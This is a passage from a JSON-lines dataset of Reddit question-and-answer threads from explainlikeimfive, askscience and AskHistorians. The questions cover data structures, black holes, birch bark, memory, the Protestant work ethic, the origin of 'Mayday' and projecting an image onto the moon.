of China, a detail that gets somewhat glossed over in the 'big picture' Western view. Another interesting facet is that this is generally viewed as being part of WWII in Western eyes, while the belligerents (China especially, Japan somewhat less so) see it more as an independent event, albeit one tied up in global geopolitics of the time.\n\nFor a final example, here's one of my favorite examples of war nomenclature. The Opium Wars were fought between Britain and China primarily over trade rights (the Chinese had banned the opium trade and had long prevented free foreign access to Chinese markets). But why are they called the Opium Wars? They could have been the Wars to Open China or the First and Second Sino-British Wars, or what-have-you, but they weren't. It's also critically important that this is what they're called in English, *because that's the name the British press and people gave to them*, despite efforts of the government to the contrary. This illustrates the great conflict within the UK over a war that was basically fought so that their country could keep a massive drug business going.\n\nWar naming conventions are really far from a cut-and-dried thing. They can vary widely depending on who you ask, especially if you talk to different belligerents of the war. As we've seen, they often become another tool of national policy, one that can be used by the government to express their position and sway the public, or co-opted by dissidents to express their dissatisfaction with official actions. They can change as time goes on (remember the 'war to end all wars'?) as people and historians reevaluate what occurred, and they continue to shape our perceptions of world events- if you don't believe me, ask yourself what the 'Global War on Terror' really means."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "j6rpo", "title": "data structures, linked lists and binary trees", "selftext": "I have always been confused, although immediately after I close my book, I feel like I have understood. There is always something missing.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/j6rpo/eli5_data_structures_linked_lists_and_binary_trees/", "answers": {"a_id": ["c29mr6y", "c29mroy", "c29n1yn", "c29nhrw", "c29mr6y", "c29mroy", "c29n1yn", "c29nhrw"], "score": [2, 2, 2, 2, 2, 2, 2, 2], "text": ["Linked lists are kind of an array, the main difference is that a linked list can change length, whereas an array is staticly defined.\nEvery element in a linked list has:\n\n* the content\n* a pointer to the next element\n* optionally, a pointer to the previous element (double linked list)\n\nIt's important to remember that the last element must have NULL as next pointer, and the first element, if you are using a double linked list, must have the previous element pointing to NULL. Unless you want something special like a circular list. \nIf you don't remember to do this, you will experience segmentation faults.\nThe most common way to cycle through linked list is (in C, but other languages have similar syntax):\n\n    list *tmp;\n    list *head; //the first element of your list\n    for(tmp=head; tmp- > next; tmp=tmp- > next) {//do stuff }\n\nBinary trees are lists where every element has two children (usually named left and right). It has no important difference from a linked list. So, you'll need: the content, a pointer to the left child and a pointer to the right child. Here too, element with no children (left or right or both) must have those pointers equal to NULL. This data structure is usually traversed with recursion, something like that (this time in pseudocode):\n\n    function traverse(tree *root)\n    {\n        // if you have a tree like this: \n                       A\n                   B       C\n                D     E\n        //this program will print out A B D E C\n        print (root- > data);\n        if root- > left != NULL then traverse (root- > left);\n        if root- > right != NULL then traverse (root- > right);\n    }\n\n~~Note:  >  doesn't seem to work, it's replaced with  &  gt;~~ RES live preview fault", "A data structure is method of organizing data, usually a number of items. These data structures make storing and retrieving these items easier but each data structure has it's own strengths and weaknesses. \n\nImagine a linked list like a bunch of boxes with strings attached to them. All you have is the first box and a string to the next box but you don't know whats in the next box or what it points to. Now to get something from this list you have to look at every single box till you find the one you are looking for so finding things takes some time. But to add something to the list all you have to do is go to the spot where you want to add something and take the string from the previous box and tie it to the new box and tie the string from the new box to the next box. \n\nFor a binary tree imagine a box but each box has two strings coming out of it. When you want to find something you look in the box and it tells you whether you need to follow the first string or the second string. Now finding things is much faster, but adding things basically means you have to redo the whole box and string thing from scratch. These are the major trade offs. \n\nThere are other data structures as well like AVL trees, red and black trees, double linked lists, etc that have their own strengths and weaknesses. I hope this helps. ", "You're at camp, and the camp leaders are lazy. They only want to pay attention to where one specific camper is. But they still need to be able to find any of the campers if asked, so they need the campers to each keep track of some of the other campers.\n\nLinked List: each camper keeps track of one other camper. So if they need to find a certain camper they ask the one camper they pay attention to to tell them where the guy he keeps track of is. They go down the chain until they find the guy they're looking for. A \"doubly linked list\" means you keep track of the guy who keeps track of you and a new guy, and the new guy keeps track of you and another guy, so that they can go forward or backward along the chain.\n\nBinary Trees: The main camper they pay attention to knows where two campers are, and they know where he is. They each know where two more are, and so on until everyone is kept track of. The camp leaders want to find someone and so they ask their guy if he knows. He looks at his two guys to check if they're the right ones, and if so, reports back to say the answer. Otherwise he asks them to find the guy. Just like he did, each of them check their two guys and if one of them is the right one, they tell the guy keeping track of them where he is, and then he tells the leaders. Otherwise they each ask their two guys, and so on. Eventually you have to either find the right guy or get down to the guys who aren't keeping track of anyone new. So he must be one of them, and it gets reported all the way up to the first guy, who tells the leaders.", "To fully understand some data structures one must have a moderately good understanding of recursion, how it works, and what it means.  Put simply, linked lists and binary trees are recursive data structures. This means that they reference themselves in some fashion.\n\n**To understand this post you must have a vague understanding of programming. All code is in pseudocode.**\n\n*****\n\n\n###Linked Lists\n\nTo begin we must define a class (or structure, depending on the language). For most linked list data structures, this class will be called a `list`. \n\n    class list:\n        var value\n        list next\n\nSo we have defined a class `list` which holds two variables: one of type `integer` (i.e. 1, 4, 7) and one of type `list`. The `var` \"value\" is the important piece of information about *this* node. The `list` \"next\" holds the next object in the linked list. This means that every `list` stores a piece of data **and** another list. The last `list` in the linked list points to the `NULL` value, which basically means that the end of the list has been reached.\n\nLists all the way down. \n\nCompare a linked lists to an array. Traverse an array and print it's contents:\n\n    for i = 0; i  <  len(array); i = i + 1\n        print array[i];\n\nNow with a linked list who's top (or head, as it is sometimes called) is called `list`:\n\n    for i = list; i.next != NULL; i = i.next;\n        print i.value;\n\nI like to think that the list looks more recursive: i.e. you can continue to reference `.next` until you hit `NULL`. This looks simpler and is easier to read, in my opinion.  It also makes lists very easy to use in recursive operations.\n\n[A picture from Wikipedia to aid in the understanding of the linked list](_URL_1_)\n*****\n\n###Binary Trees\n\nYet again, we must define a class for the binary tree. This is very similar to the linked list, but with a few small changes. This class will be called `node`.\n\n    class node:\n        var value\n        node left\n        node right\n\nIf you fully understand the example of a linked lists, hopefully the understanding of the binary tree comes fairly easy. In practice, binary trees are often used as binary search trees (BST). BSTs are a fairly efficient and easy to use data structure in sorting and searching.\n\nThe way a BST works is very nice. Start with your initial `node` (or `head`), let us say the initial value of which is 8. Add the next `node`s to the tree using a simple function called `insert`: \n\n    def insert (node, value):\n        if node.value == NULL\n            node.value = value\n        else if value  <  node.value\n            insert(node.left, value)\n        else\n            insert(node.right, value)\n\nGiven the `head` of a tree with value 8, one may call `insert(head, 3)` and a new node will be added to tree. To access it, you would call `head.left.value`.\n\nWith this insert function we can create BSTs fairly easily. Let's do that now:\n\n    node head #this is done just to make sure that head is of *type* node\n    head.value = 8\n    insert(head, 3)\n    insert(head, 6)\n    insert(head, 10)\n    insert(head, 7)\n    insert(head, 1)\n    insert(head, 4)\n    insert(head, 14)\n    insert(head, 13)\n\n[This is your end result](_URL_0_)\n\n*****\n\nThere are many types of data structures. To name a few that are similar to these: doubly-linked lists, circular lists (and of course, doubly-linked circular lists), graphs, tries, etc. This edge of computer science extends quite far and there are many important algorithms associated with these more complex data structures. \n\nIf you want to know more, just ask.", "Linked lists are kind of an array, the main difference is that a linked list can change length, whereas an array is staticly defined.\nEvery element in a linked list has:\n\n* the content\n* a pointer to the next element\n* optionally, a pointer to the previous element (double linked list)\n\nIt's important to remember that the last element must have NULL as next pointer, and the first element, if you are using a double linked list, must have the previous element pointing to NULL. Unless you want something special like a circular list. \nIf you don't remember to do this, you will experience segmentation faults.\nThe most common way to cycle through linked list is (in C, but other languages have similar syntax):\n\n    list *tmp;\n    list *head; //the first element of your list\n    for(tmp=head; tmp- > next; tmp=tmp- > next) {//do stuff }\n\nBinary trees are lists where every element has two children (usually named left and right). It has no important difference from a linked list. So, you'll need: the content, a pointer to the left child and a pointer to the right child. Here too, element with no children (left or right or both) must have those pointers equal to NULL. This data structure is usually traversed with recursion, something like that (this time in pseudocode):\n\n    function traverse(tree *root)\n    {\n        // if you have a tree like this: \n                       A\n                   B       C\n                D     E\n        //this program will print out A B D E C\n        print (root- > data);\n        if root- > left != NULL then traverse (root- > left);\n        if root- > right != NULL then traverse (root- > right);\n    }\n\n~~Note:  >  doesn't seem to work, it's replaced with  &  gt;~~ RES live preview fault", "A data structure is method of organizing data, usually a number of items. These data structures make storing and retrieving these items easier but each data structure has it's own strengths and weaknesses. \n\nImagine a linked list like a bunch of boxes with strings attached to them. All you have is the first box and a string to the next box but you don't know whats in the next box or what it points to. Now to get something from this list you have to look at every single box till you find the one you are looking for so finding things takes some time. But to add something to the list all you have to do is go to the spot where you want to add something and take the string from the previous box and tie it to the new box and tie the string from the new box to the next box. \n\nFor a binary tree imagine a box but each box has two strings coming out of it. When you want to find something you look in the box and it tells you whether you need to follow the first string or the second string. Now finding things is much faster, but adding things basically means you have to redo the whole box and string thing from scratch. These are the major trade offs. \n\nThere are other data structures as well like AVL trees, red and black trees, double linked lists, etc that have their own strengths and weaknesses. I hope this helps. ", "You're at camp, and the camp leaders are lazy. They only want to pay attention to where one specific camper is. But they still need to be able to find any of the campers if asked, so they need the campers to each keep track of some of the other campers.\n\nLinked List: each camper keeps track of one other camper. So if they need to find a certain camper they ask the one camper they pay attention to to tell them where the guy he keeps track of is. They go down the chain until they find the guy they're looking for. A \"doubly linked list\" means you keep track of the guy who keeps track of you and a new guy, and the new guy keeps track of you and another guy, so that they can go forward or backward along the chain.\n\nBinary Trees: The main camper they pay attention to knows where two campers are, and they know where he is. They each know where two more are, and so on until everyone is kept track of. The camp leaders want to find someone and so they ask their guy if he knows. He looks at his two guys to check if they're the right ones, and if so, reports back to say the answer. Otherwise he asks them to find the guy. Just like he did, each of them check their two guys and if one of them is the right one, they tell the guy keeping track of them where he is, and then he tells the leaders. Otherwise they each ask their two guys, and so on. Eventually you have to either find the right guy or get down to the guys who aren't keeping track of anyone new. So he must be one of them, and it gets reported all the way up to the first guy, who tells the leaders.", "To fully understand some data structures one must have a moderately good understanding of recursion, how it works, and what it means.  Put simply, linked lists and binary trees are recursive data structures. This means that they reference themselves in some fashion.\n\n**To understand this post you must have a vague understanding of programming. All code is in pseudocode.**\n\n*****\n\n\n###Linked Lists\n\nTo begin we must define a class (or structure, depending on the language). For most linked list data structures, this class will be called a `list`. \n\n    class list:\n        var value\n        list next\n\nSo we have defined a class `list` which holds two variables: one of type `integer` (i.e. 1, 4, 7) and one of type `list`. The `var` \"value\" is the important piece of information about *this* node. The `list` \"next\" holds the next object in the linked list. This means that every `list` stores a piece of data **and** another list. The last `list` in the linked list points to the `NULL` value, which basically means that the end of the list has been reached.\n\nLists all the way down. \n\nCompare a linked lists to an array. Traverse an array and print it's contents:\n\n    for i = 0; i  <  len(array); i = i + 1\n        print array[i];\n\nNow with a linked list who's top (or head, as it is sometimes called) is called `list`:\n\n    for i = list; i.next != NULL; i = i.next;\n        print i.value;\n\nI like to think that the list looks more recursive: i.e. you can continue to reference `.next` until you hit `NULL`. This looks simpler and is easier to read, in my opinion.  It also makes lists very easy to use in recursive operations.\n\n[A picture from Wikipedia to aid in the understanding of the linked list](_URL_1_)\n*****\n\n###Binary Trees\n\nYet again, we must define a class for the binary tree. This is very similar to the linked list, but with a few small changes. This class will be called `node`.\n\n    class node:\n        var value\n        node left\n        node right\n\nIf you fully understand the example of a linked lists, hopefully the understanding of the binary tree comes fairly easy. In practice, binary trees are often used as binary search trees (BST). BSTs are a fairly efficient and easy to use data structure in sorting and searching.\n\nThe way a BST works is very nice. Start with your initial `node` (or `head`), let us say the initial value of which is 8. Add the next `node`s to the tree using a simple function called `insert`: \n\n    def insert (node, value):\n        if node.value == NULL\n            node.value = value\n        else if value  <  node.value\n            insert(node.left, value)\n        else\n            insert(node.right, value)\n\nGiven the `head` of a tree with value 8, one may call `insert(head, 3)` and a new node will be added to tree. To access it, you would call `head.left.value`.\n\nWith this insert function we can create BSTs fairly easily. Let's do that now:\n\n    node head #this is done just to make sure that head is of *type* node\n    head.value = 8\n    insert(head, 3)\n    insert(head, 6)\n    insert(head, 10)\n    insert(head, 7)\n    insert(head, 1)\n    insert(head, 4)\n    insert(head, 14)\n    insert(head, 13)\n\n[This is your end result](_URL_0_)\n\n*****\n\nThere are many types of data structures. To name a few that are similar to these: doubly-linked lists, circular lists (and of course, doubly-linked circular lists), graphs, tries, etc. This edge of computer science extends quite far and there are many important algorithms associated with these more complex data structures. \n\nIf you want to know more, just ask."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://upload.wikimedia.org/wikipedia/commons/d/da/Binary_search_tree.svg", "http://upload.wikimedia.org/wikipedia/commons/6/6d/Singly-linked-list.svg"], [], [], [], ["http://upload.wikimedia.org/wikipedia/commons/d/da/Binary_search_tree.svg", "http://upload.wikimedia.org/wikipedia/commons/6/6d/Singly-linked-list.svg"]]}
{"q_id": "3xlhrz", "title": "Is matter that is absorbed by a black hole trapped forever? Can it ever escape or be recovered?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3xlhrz/is_matter_that_is_absorbed_by_a_black_hole/", "answers": {"a_id": ["cy5na9i", "cy5nk54", "cy5ohp6", "cy5p0gu", "cy5q39e", "cy5qjuf", "cy5v40r"], "score": [1445, 33, 8, 141, 5, 16, 8], "text": ["An object that has crossed the event horizon of a black hole can never cross it back to leave. In a very real sense, the only future destination of the object (or more technically the endpoint of its possible future [world lines](_URL_1_)) is the center of the black hole. Nevertheless, black holes do emit [Hawking radiation](_URL_0_), thus effectively spitting the energy they once absorbed back out. So in this latter sense, it is possible for the mass-energy that has entered the black hole to eventually exit the black hole, but not before [it's been turned to mush](_URL_2_).", "It's kinda trapped, but eventually escapes as the black hole evaporates.\n\nHawkins theorized that black holes will eventually evaporate through a quantum mechanical process, but we have not observed this yet. As the bh evaporates, matter than had fallen in escapes in another form. \n", "My question is long do black holes exist for? Do they have a finite time? Or are they kinda eternal? Or we're just not certain", "Something that enters a Black Hole is no longer causally connected to anything outside the event horizon. The object's observable universe shrinks to that boundary. Its not much different than areas of the Cosmos that are now so far away, we can never reach them, if we dont find a way to break light speed. Our event horizon is just a bit bigger.", "There is the \"White Hole\" theory, where matter trapped in a black hole, is worm holed through space (-time), and released in pockets. Otherwise, no. By our basic principles, and understanding of black holes, once something passes through the event horizon, there is no coming back (in the same form). Not even photons can escape the immense gravity of a black hole.", "Theoretically, yes, but that's assuming the processes of black-hole formation, evolution and evaporation  by Hawking Radiation are all *unitary*. ie can we describe a black-hole by a Hamiltonian evolving a quantum state-vector? (A Schr\u00f6dinger type equation, where the Hamiltonian is a relativistic one - not the more usual non-relativistic forms used in atomic and chemical physics)\n\nMost physicists will say that the process is unitary, but we won't know for sure until we have a theory of everything.\n\nNow, just because it is *theoretically* possible to recover something, doesn't make it *practically* possible. It would be like trying to recover all the books in a gigantic library after it is burnt to the ground.", "I love this explanation, maybe it can be useful for you too.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Hawking_radiation", "https://en.wikipedia.org/wiki/World_line", "https://en.wikipedia.org/wiki/No-hair_theorem"], [], [], [], [], [], ["https://youtube.com/watch?v=e-P5IFTqB98"]]}
{"q_id": "7vj9cy", "title": "why does cheese powder (cheeto/dorito dust) rarely stick to the inside of its bag?", "selftext": "What makes the powder stick to my hands, but not the bag itself?\n\nSorry if this is the wrong filter; I'm new to this sub.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7vj9cy/eli5_why_does_cheese_powder_cheetodorito_dust/", "answers": {"a_id": ["dtss0qw"], "score": [4], "text": ["Your skin has oils and grooves giving it a texture that flavour dust could easily stick to. The foil lining of the bag is smooth and non stick making it harder for flavour to bind to. Sometimes depending on the brand and how oily it is the dust can cake onto the bag, I love scooping that shit out and giving myself a wet sticky oompa loompa finger. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "xmg7s", "title": "Do fish eating birds have to understand refraction in order to catch fish?", "selftext": "Its fascinating humans have to understand refraction on the most basic scale to catch fish when looking into the water. Is it an inherent ability in other animals or a trial by error as they grow into an adult? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/xmg7s/do_fish_eating_birds_have_to_understand/", "answers": {"a_id": ["c5no7lf", "c5npa40", "c5npdkm", "c5nvf7h"], "score": [119, 10, 4, 2], "text": ["I think the question itself is kind of silly. We didn't have any understanding of refraction until optics were invented 1200 years ago. However, people still perceived and accounted for it. Similarly, most of us have no physical understanding of the gyroscopics that keeps a bike from falling over, yet anyone can learn to ride. \n\nThe brains of birds are plastic, learning neural networks. They would 'teach' themselves how to catch fish based on past successes or failures, without 'understanding' refraction in any non-intuitive sense. Otherwise, they would starve. ", "Not to sound like a dick but the question is maybe malformed.  I don't really understand gravity but I like many animals have a concept of falling from a distance that I instinctively or learn to avoid without understanding how that force is acted upon me.  ", "[Fishing cats](_URL_1_) have a similar problem. They primarily hunt fish. When diving into the water to catch fish, they must account for refraction. They have a particular adaptation that helps with this: Their eyes are unusually close together for a feline. Typically, a wider separation between the eyes is advantageous because it makes stereoscopic vision more effective, making you more able to judge the distance of prey. But when looking through the refractive surface of water, particularly water that has an uneven surface, this gives false impressions of movement and distance. Fishing cats evolved a narrower distance between the eyes as a compromise between these two effects.\n\nFor comparison, here's a [fishing cat face](_URL_2_) and a [snow leopard face](_URL_0_).", "Neural nets can approximate complex mathematical functions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://upload.wikimedia.org/wikipedia/commons/9/93/Snow_leopard_face.jpg", "http://en.wikipedia.org/wiki/Fishing_cat", "http://www.flickr.com/photos/bontempscharly/6900541905/lightbox/"], []]}
{"q_id": "23gjwg", "title": "Why does most trees have dark bark, but trees like Birch have \"white\" bark? What's the benefit for the Birch tree? Does it effect the tree differently?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/23gjwg/why_does_most_trees_have_dark_bark_but_trees_like/", "answers": {"a_id": ["cgx2hpt", "cgx36if"], "score": [60, 34], "text": ["In Aspens the bark is white because it has chloroplasts embedded in it (sometimes you can see a green or brownish tinge if you look at it up close), and photosynthesis occurs in the bark during winter, helping it survive. In most trees the outer layer of bark is dead tissue called rhytidome which helps protects the trees from herbivorous animals, but is  less suitable for gas exchange, and allowing in light.\n\nsource: Berveiller, D.  &  Damesin, D. Interspecific variability of stem photosynthesis among tree species. Tree Physiology 27, 53-61 (2007)", "In birch (not aspens) the bark is flaky and constantly shed. Combined with potent chemical defenses, this makes it very difficult for insects and rot to attack the tree.\n\nIt is [speculated](_URL_0_) that the white color and insulation help keep trees from warming up in the winter. Freezing and staying frozen is better than freezing and thawing repeatedly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://northernwoodlands.org/articles/article/why-are-paper-birches-so-white"]]}
{"q_id": "r2td8", "title": "What effect on our memory/knowledge does daily browsing of reddit have? How much of the information we read actually \"stays\" in our head?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/r2td8/what_effect_on_our_memoryknowledge_does_daily/", "answers": {"a_id": ["c42ijg3", "c42ju7p"], "score": [14, 2], "text": ["In a simplified scheme of things, we could say that our memory comes in three parts.\n1) Sensory Memory: 'Photographic' memory of the things we sense that persists for fleeting moments before being 'overwritten' by new information. This is why when you're not paying attention to the lecturer and they \"call you out on it\", you can often repeat what they had just said. You had an auditory sensory memory of the sounds that have recently struck your eardrum.\n2) Working Memory. This is an expansion of our prior concepts of \"short-term memory\". It holds a few bits of information (often approximated to be 7 bits of information, plus or minus 2) and can access older memories to work with newer ones. This is what we use when actively cogitating.\n3) Long-Term Memory. This is your essentially limitless storage facility, though it should in no way be thought of as a 'tape recorder' or other perfect recording device. This is where 'memorized' things go.\n\nSo, you look at Reddit. What you see goes into your Sensory Memory. What you focus on enters your Working Memory as you read it and think about it. Now comes the tricky part--does it make it into Long-Term Memory, and thus become 'learned'? \n\nThat depends. If it is a completely random fact, with no emotional or intellectual connection to you, that you don't actively try to remember, you will likely forget it. However, if you actively try to remember it (called \"Rehearsal\", takes place in your Working Memory), then you'll have a better likelihood of recall. The more Rehearsal, the better. If the information relates to a topic that interests you, if it strikes you as bizarre or amazing, if it effects you on an emotional level, you'll also be more likely to recall it. If you can relate it to yourself, you're more likely to recall the information (In accordance with the \"Self-Reference Effect\"). These special relationships that you might have with information help your brain to \"Encode\" the information on a 'deeper' level, forming more connections to other concepts and making recall an easier task.\n\nSo, in short: it depends. It depends on the information and how it relates to you (or doesn't) and it depends on whether you put forth any effort to remember it. \n\nAs far as brain development is concerned, I'm not fully sure what you're asking. If you do indeed learn any new information from your browsing (in accordance with above statements), then your brain structure does indeed change; this occurs every time we learn a new 'thing': our brains physically restructure. ", "What is a more interesting question, in my opinion, is to ask why Reddit is so addictive or why the internet so addictive. What happens neurologically?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "7hhkr0", "title": "The \"Protestant Work Ethic,\" giving credit to the Reformation for the rise of capitalism, is considered by some scholars to be a myth due to capitalism functioning long before the Reformation. What led to the development of the idea of a \"Protestant Work Ethic?\"", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7hhkr0/the_protestant_work_ethic_giving_credit_to_the/", "answers": {"a_id": ["dqrf0xs", "dqs4vti", "dqslyir"], "score": [18, 36, 12], "text": ["I'm confused, can you provide a reference for this claim? The Reformation occurs in the early sixteenth century and even the most liberal estimates I've seen for the beginnings of capitalist production point to the mid- to late-17th century with the end of the English Civil War and the rise of enclosure.", "The observation made by Weber was due to the fact that countries that seemed to be the most economically successful out of apparent  economic success by Protestant countries-namely, the Netherlands, Northern Germany, and England-which also happened to have a stronger basis of capitalism.  His argument was that Calvinism encouraged this sort of behavior compared to other religious institutions like Roman Catholicism or say, Confucianism.  The idea was that people who worked harder provided more benefit to factory owners, and that is why capitalism succeeded to a greater degree in those countries.  \n\nHowever, economists have more recently criticized his theories on two fronts.  One front, such as by Joseph Schumpeter, was that the merchant cities of Italy exhibited capitalist tendencies of concentration of capital and investment way before the rise of Protestantism.  In essence, rather than some extraneous religious cause, Schumpeter argued that it was institutions that provided an area where capitalism could thrive, and that successful nations created a series of institutions and laws to support capitalism.  \n\nAnother avenue comes from the 2009 paper \"Was Weber Wrong?\" where they argue that what Protestantism really brought about was an increased literacy rate due to encouraging everyone to read the bible in their own language.  This increased literacy amounted to an increase in the human capital of Protestant countries, which is then argued to make them more productive: in other words, people who are able to read are going to be more productive or able to perform more skilled labor.  Literacy is commonly used as a measure of human capital in many economic studies so this is a fairly accepted method of evaluating human capital.  Their study had a bit of questionable rigor in that they used distances from Martin Luther's Wittenburg wrt. Germany in the 1900s (of which the censuses are questionable at best), but it did seem to indicate that literacy had improved significantly in areas where Protestantism had a stronger grip.  ", "I only want to add to the comments here that Weber's \"Spirit of Capitalism\" book is a *lot* more subtle than most people realize. \n\nIt is a fairly dense, 'big history' treatise on the sociology of ideas... and it functions as an early cultural history, seventy years before anyone had access to the tools of cultural history.  There's a LOT in that book... much much more than just the simplistic argument that protestantism \"made\" capitalism.  \n\n- it offers a sociology of religion (at a time when religious topics were written on by religious people from sectarian perspectives... and religion wasn't really being written about from a secular perspective at all, except as critique) \n\n- It offers a sociology of ideas of differences in different types of German culture (i.e. north German vs. south German) at a time when there was a lot of pressure to see \"Germanness\" as a unified national (and yes, 'racial') identity; \n\n- It offers an engagement with Marx's theory of history from a non-Marxian (i.e. non-materialist) perspective, which is rare for the time (and way ahead of its time).  This was really big, actually.  Put differently, Weber takes Marx seriously enough to engage with Marx's arguments but from very different operating assumptions.    \n\nThe standard gloss or one-line takeaway is therefore much much clumsier than Weber's book itself... and often horribly misleading.  \n\nTo give one example: \n\nWeber is not so much writing about capitalism as the *spirt* (German: *Geist*) of Capitalism... which is not at all the same thing.  So yes, you can find plenty of historical articulations of capitalism in (say) 14th century Genoa... or (as we are learning today) the 15th c. Ming Dynasty... \nBut while these saw functioning capitalist practices, neither of these cultures (as we would call them today) saw the *pervasive, hegemonic \"spirit\"* of capitalism--that is, the ideas that capitalism was a necessary, essential, and eternal *truism*--running through culture as a dominant ideological/philosophical strand.   \n\nWeber is often grossly misunderstood here.  He is NOT arguing that (Catholic) Bavarians cannot be capitalists.  \n\nHe is arguing instead that there is a peculiar ethic/spirit of capitalism that is particularly predominant in Protestant cultures for all of the myriad reasons (and they are myriad) that he describes.  And this had an impact on historical development.   \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1fsdog", "title": "On the origins of the term \"Mayday\"", "selftext": "In French class, I was taught that the term \"Mayday\" - a cry when a plane was falling or being shot down - is originally derived from French pilots in WWII crying m'aidez (pronounced the same way) which means \"help me\".  When English speaking troops were engaged in the European combat theater they would hear this in and misinterpreted it as \"Mayday\", hence the origin of the term in popular English culture.\n\nHow accurate is this?  Were there, instead, English speaking pilots trying to communicate with French forces so they co-opted this term?\n\nWhat other interesting things should I know about this topic?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1fsdog/on_the_origins_of_the_term_mayday/", "answers": {"a_id": ["cadc71q", "cadd5ii", "cadinoy", "cadjoza"], "score": [39, 21, 4, 5], "text": ["The Oxford English Dictionary says it derives either from *m'aidez* or from a shortening of *venez m'aider*. They don't say much more about its adoption, but their first citation for it is a quote from a 1923 issue of the London Times:\n\n > Owing to the difficulty of distinguishing the letter \u2018S\u2019 by telephone, the international distress signal \u2018S.O.S.\u2019 will give place to the words \u2018May-day\u2019, the phonetic equivalent of \u2018M'aidez\u2019, the French for \u2018Help me\u2019.\n\nEdit: I just did some poking around in [the Corpus of Historical American English (COHA)](_URL_0_), and their first citation for *mayday* (in the spelling *may-day*) is 1948. It could be that the exclamation didn't enter the public consciousness until after WWII.", "There are three types of distress/urgency radio calls.\n\n1) Mayday. This is the most urgent, and is used when an aircraft/vessel is in immediate danger. Crashing/Sinking, on fire, etc.\n\n2) Pan-Pan. The second most urgent, this is used when there is an emergency but no immediate danger.\n\n3) Securit\u00e8. This is the least urgent. This call is used when there's some sort of hazard people should know about, but it's not particularly urgent. Weather information, navigational hazards, etc.\n\n*Securit\u00e8* is in french as well. It kind of seems more likely to me that the french happened to be in an advantageous position when everybody sat down and decided the standards. \n\nNo idea what's up with pan-pan though.\n\n", "[Wikipedia has a quick summary of the 'Mayday' and other distress calls.](_URL_1_)\n\nFollowing the source links leads to [this question](_URL_0_) answered by the National Maritime Museum, Cornwall, UK. Decided by an air traffic controller in the UK, chosen because of the majority of air traffic being between the UK and France.", "If you are interested, /r/etymology is the perfect place for the discussion of the roots of words and phrases."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://corpus.byu.edu/coha/"], [], ["http://www.nmmc.co.uk/index.php?/collections/featured_questions/why_mayday", "http://en.wikipedia.org/wiki/Mayday"], []]}
{"q_id": "2yrs09", "title": "why does tapping your nose with your index finger mean you are correct?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2yrs09/eli5_why_does_tapping_your_nose_with_your_index/", "answers": {"a_id": ["cpcc7ef", "cpccbrf"], "score": [2, 12], "text": ["That's the code for you've got it in charades. I assume that's where it originates from.", "It's miming an old time saying \"on the nose\" which originally refers to accuracy in shooting. (I think it comes from WW1) \n\nWhich eventually ment slang for correct. Which eventually just got mimed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "qesjo", "title": "Can you project a movie onto the moon and have it be visible from earth? What would it take?", "selftext": "If you wanted it to be visible on the surface of a New moon, how powerful a projector would one need? Maybe raster scanned with lasers? Is the moon reflective enough to show an image clearly? Could the image be distorted to correct for the uneven surface? Would that even be necessary?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/qesjo/can_you_project_a_movie_onto_the_moon_and_have_it/", "answers": {"a_id": ["c3x3o4k", "c3x3pyi"], "score": [15, 9], "text": ["A very similar question popped up in my university newspaper (Royal Institute of Technology, Sweden), this was a student asking how strong a Laser has to be to project a visible smiley on the full moon (obviously, how much sunlight there is on the moon matters). G\u00f6ran Manneberg, university lector in physics, answers (rephrased by me):\n\n > The full moon shines the earth with 0,3 lux, a Luminous intensity of 50 000 TCd. The flow of light then is 150 Petalumen, and this value has to be beaten by a factor of say 4. If the smiley is to cover most of the moon surface, and guessing that the moon has a diffuse reflexivity of 0,5, a flow of 0,3 Exalumen is required. This corresponds to a green laser with the power of about 1 Petawatt, which is much more energy than is practically possible to deliver, nor can we practically build such a laser.\n\n", "With a sufficiently powerful light source, yes, this could be done. But consider the obstacles:\n\n* Transmitting the light from Earth to the moon, remembering that the light's intensity will decline as the square of the distance.\n\n* Reflecting the light from the moon's surface, remembering that the moon has an [albedo (reflectivity) of only 12%](_URL_0_), and further, that each grain of lunar dust will reflect the light as a [cosine emitter](_URL_1_).\n\n* The light's return trip, also diminished by the square of distance.\n\n* We would have to try to see the reflected image in the presence of the much brighter limb of the moon, during a nearly new moon. An additional problem at that time is [earthshine](_URL_2_), which would compete with what we were trying to project.\n\nBut, all things considered, with an unlimited budget, we could produce an image on the moon visible from earth. It wold be horrendously expensive.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.lunarpedia.org/index.php?title=Lunar_Albedo", "http://en.wikipedia.org/wiki/Lambert's_cosine_law", "http://en.wikipedia.org/wiki/Planetshine"]]}
{"q_id": "iub07", "title": "What would cause me to cough every time I eat too much?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/iub07/what_would_cause_me_to_cough_every_time_i_eat_too/", "answers": {"a_id": ["c26pbtp"], "score": [2], "text": ["See sidebar on medical advice. Please see a doctor. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
